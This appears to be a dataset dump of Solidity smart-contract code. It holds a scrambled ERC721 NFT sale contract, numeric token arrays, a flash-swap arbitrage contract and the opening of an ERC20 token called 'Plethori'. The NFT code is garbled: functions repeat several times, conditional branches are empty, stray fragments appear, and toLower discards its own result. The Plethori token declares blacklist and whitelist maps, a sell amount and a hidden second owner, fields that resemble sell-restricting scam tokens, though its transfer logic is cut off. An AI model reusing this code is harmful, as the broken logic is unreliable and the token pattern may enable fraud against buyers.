_registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0)); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } function isMintedBeforeReveal(uint256 index) public view override returns (bool) { return _mintedBeforeReveal[index]; } function getNFTPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP); require(totalSupply() < MAX_NFT_SUPPLY); uint currentSupply = totalSupply(); if (currentSupply >= 45) { } } function getNFTPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP); require(totalSupply() < MAX_NFT_SUPPLY); uint currentSupply = totalSupply(); if (currentSupply >= 45) { } } } else if (currentSupply >= 23) { } else if (currentSupply >= 12) { } else { function mintNFT(uint256 numberOfNfts) public payable { require(totalSupply() < MAX_NFT_SUPPLY); require(numberOfNfts > 0); require(numberOfNfts <= 11); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY); require(getNFTPrice().mul(numberOfNfts) == msg.value); for (uint i = 0; i < numberOfNfts; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintNFT(uint256 numberOfNfts) public payable { require(totalSupply() < MAX_NFT_SUPPLY); require(numberOfNfts > 0); require(numberOfNfts <= 11); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY); require(getNFTPrice().mul(numberOfNfts) == msg.value); for (uint i = 0; i < numberOfNfts; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintNFT(uint256 numberOfNfts) public payable { require(totalSupply() < MAX_NFT_SUPPLY); require(numberOfNfts > 0); require(numberOfNfts <= 11); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY); require(getNFTPrice().mul(numberOfNfts) == msg.value); for (uint i = 0; i < numberOfNfts; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function mintNFT(uint256 numberOfNfts) public payable { require(totalSupply() < MAX_NFT_SUPPLY); require(numberOfNfts > 0); require(numberOfNfts <= 11); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY); require(getNFTPrice().mul(numberOfNfts) == msg.value); for (uint i = 0; i < numberOfNfts; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function finalizeStartingIndex() public { require(startingIndex == 0); require(startingIndexBlock != 0); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function finalizeStartingIndex() public { require(startingIndex == 0); require(startingIndexBlock != 0); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function finalizeStartingIndex() public { require(startingIndex == 0); require(startingIndexBlock != 0); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function withdrawOwner() onlyOwner public { require(tradingEnabled == false); uint balance = address(this).balance; msg.sender.transfer(balance); if(totalSupply() == MAX_NFT_SUPPLY){ tradingEnabled = true; } } function withdrawOwner() onlyOwner public { require(tradingEnabled == false); uint balance = address(this).balance; msg.sender.transfer(balance); if(totalSupply() == MAX_NFT_SUPPLY){ tradingEnabled = true; } } function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender())); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender()); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId)); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId)); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId)); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } d* function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data)); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0)); require(!_exists(tokenId)); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from); require(to != address(0)); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); bLower[i] = bStr[i]; } } return string(bLower); } function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); bLower[i] = bStr[i]; } } return string(bLower); } function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); bLower[i] = bStr[i]; } } return string(bLower); } } else { }
11,494,229
[ 1, 4907, 77, 44, 2323, 6835, 225, 6419, 5839, 4232, 39, 27, 5340, 3858, 17, 42, 20651, 1523, 3155, 8263, 5337, 4471, 19, 7224, 3152, 1220, 353, 326, 24185, 1409, 434, 777, 11678, 77, 44, 2323, 3688, 1252, 316, 1005, 2369, 371, 1071, 5381, 24313, 45, 44, 17813, 67, 3373, 58, 1157, 4722, 273, 1408, 31, 2647, 1839, 1492, 11678, 7392, 2323, 854, 2744, 1235, 471, 777, 352, 2344, 19344, 358, 1375, 3890, 24, 12, 79, 24410, 581, 5034, 2932, 265, 654, 39, 27, 5340, 8872, 12, 2867, 16, 2867, 16, 11890, 5034, 16, 3890, 2225, 3719, 68, 1492, 848, 506, 2546, 12700, 487, 1375, 45, 654, 39, 27, 5340, 12952, 12, 20, 2934, 265, 654, 39, 27, 5340, 8872, 18, 9663, 68, 9408, 628, 10438, 1758, 358, 3675, 261, 7924, 25121, 13, 444, 434, 16199, 2430, 6057, 25121, 2874, 628, 1147, 3258, 358, 3675, 25937, 9408, 628, 1147, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 11678, 7392, 2323, 353, 1772, 16, 14223, 6914, 16, 4232, 39, 28275, 16, 277, 4907, 7392, 2323, 16, 467, 654, 39, 27, 5340, 2277, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 565, 1450, 6057, 25121, 694, 364, 6057, 25121, 694, 18, 5487, 694, 31, 203, 565, 1450, 6057, 25121, 863, 364, 6057, 25121, 863, 18, 5487, 774, 1887, 863, 31, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 203, 203, 565, 2254, 5034, 1071, 5381, 17127, 900, 67, 7570, 67, 17201, 273, 2872, 3461, 9222, 5324, 6840, 31, 203, 377, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 50, 4464, 67, 13272, 23893, 273, 24153, 31, 203, 203, 565, 2254, 5034, 1071, 5381, 2438, 3412, 1013, 67, 17201, 273, 17127, 900, 67, 7570, 67, 17201, 397, 261, 28, 1105, 713, 380, 5045, 1769, 203, 203, 565, 2254, 5034, 1071, 5023, 1016, 1768, 31, 203, 203, 565, 2254, 5034, 1071, 5023, 1016, 31, 203, 203, 565, 1731, 24, 3238, 5381, 389, 654, 39, 27, 5340, 67, 27086, 20764, 273, 374, 92, 23014, 70, 27, 69, 3103, 31, 203, 203, 565, 2874, 261, 2867, 516, 6057, 25121, 694, 18, 5487, 694, 13, 3238, 389, 4505, 5157, 31, 203, 203, 565, 6057, 25121, 863, 18, 5487, 774, 1887, 863, 3238, 389, 2316, 5460, 414, 31, 203, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 13, 3238, 389, 2316, 12053, 4524, 31, 203, 203, 565, 2874, 261, 11890, 5034, 516, 533, 13, 3238, 389, 2 ]
./full_match/4/0xDF67003A3e4CB274E21764db12EB89cf758F4846/sources/contracts/Arbit.sol
address public sushiTk0;address public sushiTk1;
contract Arbitrage { address public factory; uint constant deadline = 10 days; IUniswapV2Router02 public sushiRouter; constructor(address _factory, address _sushiRouter) public { factory = _factory; sushiRouter = IUniswapV2Router02(_sushiRouter); } function startArbitrage( address token0, address token1, uint amount0, uint amount1 ) external { address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1); require(pairAddress != address(0), 'This pool does not exist'); IUniswapV2Pair(pairAddress).swap( amount0, amount1, address(this), bytes('not empty') ); } function uniswapV2Call( address _sender, uint _amount0, uint _amount1, bytes calldata _data ) external { address[] memory path = new address[](2); uint amountToken = _amount0 == 0 ? _amount1 : _amount0; address token0 = IUniswapV2Pair(msg.sender).token0(); address token1 = IUniswapV2Pair(msg.sender).token1(); require( msg.sender == UniswapV2Library.pairFor(factory, token0, token1), 'Unauthorized' ); require(_amount0 == 0 || _amount1 == 0); path[0] = _amount0 == 0 ? token1 : token0; path[1] = _amount0 == 0 ? token0 : token1; IERC20 token = IERC20(_amount0 == 0 ? token1 : token0); token.approve(address(sushiRouter), amountToken); uint amountRequired = UniswapV2Library.getAmountsIn( factory, amountToken, path )[0]; uint amountReceived = sushiRouter.swapExactTokensForTokens( amountToken, amountRequired, path, msg.sender, deadline )[1]; IERC20 otherToken = IERC20(_amount0 == 0 ? token0 : token1); otherToken.transfer(msg.sender, amountRequired); otherToken.transfer(tx.origin, amountReceived - amountRequired); } }
768,194
[ 1, 2867, 1071, 272, 1218, 77, 56, 79, 20, 31, 2867, 1071, 272, 1218, 77, 56, 79, 21, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1201, 3682, 86, 410, 288, 203, 225, 1758, 1071, 3272, 31, 203, 225, 2254, 5381, 14096, 273, 1728, 4681, 31, 203, 225, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 272, 1218, 77, 8259, 31, 203, 21281, 203, 225, 3885, 12, 2867, 389, 6848, 16, 1758, 389, 87, 1218, 77, 8259, 13, 1071, 288, 203, 565, 3272, 273, 389, 6848, 31, 21281, 565, 272, 1218, 77, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 24899, 87, 1218, 77, 8259, 1769, 203, 225, 289, 203, 21281, 21281, 21281, 203, 203, 225, 445, 787, 686, 3682, 86, 410, 12, 203, 565, 1758, 1147, 20, 16, 7010, 565, 1758, 1147, 21, 16, 7010, 565, 2254, 3844, 20, 16, 7010, 565, 2254, 3844, 21, 203, 225, 262, 3903, 288, 203, 565, 1758, 3082, 1887, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 12, 6848, 2934, 588, 4154, 12, 2316, 20, 16, 1147, 21, 1769, 203, 565, 2583, 12, 6017, 1887, 480, 1758, 12, 20, 3631, 296, 2503, 2845, 1552, 486, 1005, 8284, 203, 565, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 6017, 1887, 2934, 22270, 12, 203, 1377, 3844, 20, 16, 7010, 1377, 3844, 21, 16, 7010, 1377, 1758, 12, 2211, 3631, 7010, 203, 1377, 1731, 2668, 902, 1008, 6134, 203, 565, 11272, 203, 225, 289, 203, 203, 225, 445, 640, 291, 91, 438, 58, 22, 1477, 12, 203, 565, 1758, 389, 15330, 16, 7010, 565, 2254, 389, 8949, 20, 16, 7010, 565, 2254, 389, 8949, 21, 16, 7010, 2 ]
//SPDX-License-Identifier: None pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Plethori is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a 